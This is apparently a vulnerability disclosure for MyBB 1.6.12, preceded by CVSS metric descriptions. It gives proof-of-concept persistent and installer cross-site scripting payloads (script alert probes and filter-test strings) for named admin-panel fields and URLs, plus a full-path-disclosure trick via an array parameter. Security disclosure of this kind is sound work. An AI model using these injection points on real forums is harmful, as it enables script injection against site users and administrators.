The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
#Title: MyBB 1.6.12 - Admin Panel FPD & Multiple XSS
#Date: 01.11.2014
#Tested on: Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
#Vendor: mybb.com
#Version: 1.6.12 - Latest ATM
#Contant: [email protected]
1. Cross Site Scripting in Installation Wizard
a) Database Configuration
Fill Database Name with your JS, for example - <script>alert(666)</script>
In fact, other input's are also vulnerable.
While there's an error in database configuration, the alert will popup.
Line 56:
<li>Could not select the database '<script>alert(1)</script>'. Are you sure it exists and the specified username and password have access to it?</li>
b) Table Creation
If table prefix will contain JS script, it will be executed in next step (Table Creation).
2. Full Path Disclosure in Administration Panel
localhost/mybb/Upload/admin/index.php?module[]=
Warning [2] strpos() expects parameter 1 to be string, array given - Line: 507 - File: localhost/mybb/Upload/admin/index.php PHP 5.4.4-14+deb7u5 (Linux)
Warning [2] explode() expects parameter 2 to be string, array given - Line: 509 - File: localhost/mybb/Upload/admin/index.php PHP 5.4.4-14+deb7u5 (Linux)
Error's appears at line's 507 & 509.
3. Multiple Persistent Cross Site Scripting in Administration Panel
a) Smiles
Go to -> Edit Smilies, for example:
localhost/mybb/Upload/admin/index.php?module=config-smilies&action=edit&sid=10
Now, fill image path with:
images/smilies/angel.gif'';!--"/><script>alert(666)</script>
Alert will appear whenever someone enter smilies configuration:
localhost/mybb/Upload/admin/index.php?module=config-smilies
b) MyCode
Go to -> Edit My Code, for example:
localhost/mybb/Upload/admin/index.php?module=config-mycode&action=edit&cid=1
Fill title and short description with <script>alert(666)</script>, alert
will appear whenever someone visit:
localhost/mybb/Upload/admin/index.php?module=config-mycode
c) Post Icons
Go to -> Post Icons, for example:
mybb/Upload/admin/index.php?module=config-post_icons&action=edit&iid=7
Fill image path with:
images/icons/biggrin.gif'';!--"/><script>alert(666)</script>
Now, the alert will appear whenever there will be possibility to use them, like
posting new thread.
Examples:
localhost/mybb/Upload/modcp.php?action=edit_announcement&aid=1
localhost/mybb/Upload/calendar.php?action=addevent&calendar=1&private=1
localhost/mybb/Upload/newthread.php?fid=2
d) Find Users
First, create custom profile field with JS code or whatever, like '';!--"<XSS>=> at:
localhost/mybb/Upload/admin/index.php?module=config-profile_fields
Then, goto:
localhost/mybb/Upload/admin/index.php?module=user-users&vid=1
XSS appears at lines 167 & 168:
<td class="first" style="" id="profile_field_fid3"><label>'';!--"<XSS>=</label>
<div class="description">'';!--"<XSS>=</div>
e) Warning System
Go to Warning System, then 'Add New Warning Type':
localhost/mybb/Upload/admin/index.php?module=config-warning&action=add_type
Fill warning's title with: <script>alert(666)</script>
f) Annoucments
As administrator or moderatore, create new annoucment:
localhost/mybb/Upload/admin/index.php?module=forum-announcements&action=edit&aid=1
Fill message with your code, for example: '';!--"<XSS>=&{()}
Now, visit your annoucment:
localhost/mybb/Upload/announcements.php?aid=1
As you can see, brackets are not filtered:
<div class="post_body" id="pid_">
'';!--"<XSS>=&{()}`1
</div>
g) Forum Managment
Go to Forum Managment:
localhost/mybb/Upload/admin/index.php?module=forum-management&action=edit&fid=2
Fill Title, Description and Rules with its title (Remember to change display method) with your code, for example - '';!--"<XSS>=&{()}.
Firstly, XSS will appear in:
localhost/mybb/Upload/admin/index.php?module=forum-management
<td class="first" style=""><div style="padding-left: 40px;"><a href="index.php?module=forum-management&fid=2">My Forum'';!--"<XSS>=&{()}</a><br /><small>'';!--"<XSS>=&{()}</small></div></td>
Now, display the forum:
localhost/mybb/Upload/forumdisplay.php?fid=2
There's XSS at lines:
133 - <strong>My Forum'';!--"<XSS>=&{()}</strong>
93 - <span class="active">My Forum'';!--"<XSS>=&{()}</span>
108 - <td class="thead"><strong>'';!--"<XSS>=&{()}</strong></td>
111 - <td class="trow1"><span class="smalltext">'';!--"<XSS>=&{()}</span></td>
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